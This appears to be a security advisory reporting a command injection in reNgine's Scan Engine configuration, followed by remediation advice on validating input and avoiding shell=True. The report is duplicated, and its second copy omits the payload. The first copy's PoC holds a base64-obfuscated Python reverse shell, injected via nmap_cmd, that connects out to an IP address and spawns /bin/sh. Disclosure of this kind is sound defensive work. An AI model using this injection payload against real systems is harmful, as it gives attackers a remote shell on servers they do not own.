Summary
Person can be exploit Command Injection through Scan Engine config, I changed nmap_cmd parameters with payload. After ı scanned target with this scan engine
Details
Thanks to this vulnerability, the attacker can run commands on the server and get a shell.
PoC
- Login the REngine
- click the Scan Engine
- Edit any Scan Engine except of Osint
- modify Scan Engine I changed nmap_cmd parameters with this payload 'nmap_cmd': 'echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMjQ0LjE1MC42OSIsNjE2MTIpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwdHkuc3Bhd24oIi9iaW4vc2giKScg"|base64 --decode |/bin/sh #'
- add target and scan this engine.
Impact
I got up Shell
![photo_2024-09-29 02 19 26](https://private-user-images.githubusercontent.com/46844074/371845912-8de136cf-260e-4809-a810-5867aaa9ccad.jpeg?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3Mzk1NTEyOTcsIm5iZiI6MTczOTU1MDk5NywicGF0aCI6Ii80Njg0NDA3NC8zNzE4NDU5MTItOGRlMTM2Y2YtMjYwZS00ODA5LWE4MTAtNTg2N2FhYTljY2FkLmpwZWc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwMjE0JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDIxNFQxNjM2MzdaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT02NGQ3MTNhODhjZTc1ZDFhZjJkYzEzOTg3Y2NiYzM0MTE3NjEyNTQ4MTIxZDIxODMzMDdlMTcxYWEzY2I0NzNmJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.rIs4w3fkWIQ_EHpNXvtngO3NSWKvllDLn4NLSa01wWI)
![photo_2024-09-29 02 19 38](https://private-user-images.githubusercontent.com/46844074/371845918-31f57d83-285b-49b0-961e-e1c19cefa996.jpeg?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3Mzk1NTEyOTcsIm5iZiI6MTczOTU1MDk5NywicGF0aCI6Ii80Njg0NDA3NC8zNzE4NDU5MTgtMzFmNTdkODMtMjg1Yi00OWIwLTk2MWUtZTFjMTljZWZhOTk2LmpwZWc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwMjE0JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDIxNFQxNjM2MzdaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT01ZGUyYWVhMzI1OGVmZGNkZmQ1ZGE2NDVkMzBlYTkxYzBjOWU2ZmNmNzQ1MTBkNjNjZDMyZmYxMGYyMTIyZjE1JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.zFvGkCmXBcOQ8jhPIEd25K-z6tAHW7jU047bjc88XWw)
![photo_2024-09-29 02 19 44](https://private-user-images.githubusercontent.com/46844074/371845923-56dd445f-3a87-4b7a-a094-8c3a2810467a.jpeg?jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3Mzk1NTEyOTcsIm5iZiI6MTczOTU1MDk5NywicGF0aCI6Ii80Njg0NDA3NC8zNzE4NDU5MjMtNTZkZDQ0NWYtM2E4Ny00YjdhLWEwOTQtOGMzYTI4MTA0NjdhLmpwZWc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjUwMjE0JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI1MDIxNFQxNjM2MzdaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT0xZWQxYjRjYmMzMWI0NjFmNmY5NWFmM2JkODNlYjkwNDJhYTZhMDk0ZGFjYmE5MjBhNGJkYjI0OWU5ZDk2NWEwJlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.zoCJty6aG-qvhsn4_d9GKDC_Oj6K4Ct6iIGeFVWAx6g)
Remediation
Input Validation: Ensure that any user-controlled input used to construct commands is strictly validated. For example, only allow predefined commands or safe inputs, such as whitelisted arguments, to be passed.
python
import shlex
Example of sanitizing input using shlex to split commands safely
command = shlex.split(user_input)
Avoid Shell=True: When using subprocess.Popen(), ensure the shell=True option is not used unless absolutely necessary. This option can increase the risk of command injection because the input will be executed within the shell.
python
Avoid shell=True, use direct arguments
process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
Escape Input Properly: If you're constructing a command from user input, use escaping techniques or utility libraries to prevent special characters (like &, ;, |) from being interpreted as part of the command.
python
import shlex
command = shlex.quote(user_input) # Escapes user input properly
Use Secure Libraries: Where possible, avoid manually invoking shell commands using subprocess. Use high-level libraries or APIs that offer functionality without needing to execute shell commands. For example, if you're interacting with the file system, Python's os or pathlib modules offer safe file manipulation functions.
python
import os
Instead of running a shell command to check if a file exists:
subprocess.Popen(['test', '-e', file_path])
Use Python's built-in functions:
if os.path.exists(file_path):
Perform action
Summary
Person can be exploit Command Injection through Scan Engine config, I changed nmap_cmd parameters with payload. After ı scanned target with this scan engine
Details
Thanks to this vulnerability, the attacker can run commands on the server and get a shell.
PoC
Impact
I got up Shell
Remediation
Input Validation: Ensure that any user-controlled input used to construct commands is strictly validated. For example, only allow predefined commands or safe inputs, such as whitelisted arguments, to be passed.
python
import shlex
Example of sanitizing input using shlex to split commands safely
command = shlex.split(user_input)
Avoid Shell=True: When using subprocess.Popen(), ensure the shell=True option is not used unless absolutely necessary. This option can increase the risk of command injection because the input will be executed within the shell.
python
Avoid shell=True, use direct arguments
process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
Escape Input Properly: If you're constructing a command from user input, use escaping techniques or utility libraries to prevent special characters (like &, ;, |) from being interpreted as part of the command.
python
import shlex
command = shlex.quote(user_input) # Escapes user input properly
Use Secure Libraries: Where possible, avoid manually invoking shell commands using subprocess. Use high-level libraries or APIs that offer functionality without needing to execute shell commands. For example, if you're interacting with the file system, Python's os or pathlib modules offer safe file manipulation functions.
python
import os
Instead of running a shell command to check if a file exists:
subprocess.Popen(['test', '-e', file_path])
Use Python's built-in functions:
if os.path.exists(file_path):
Perform action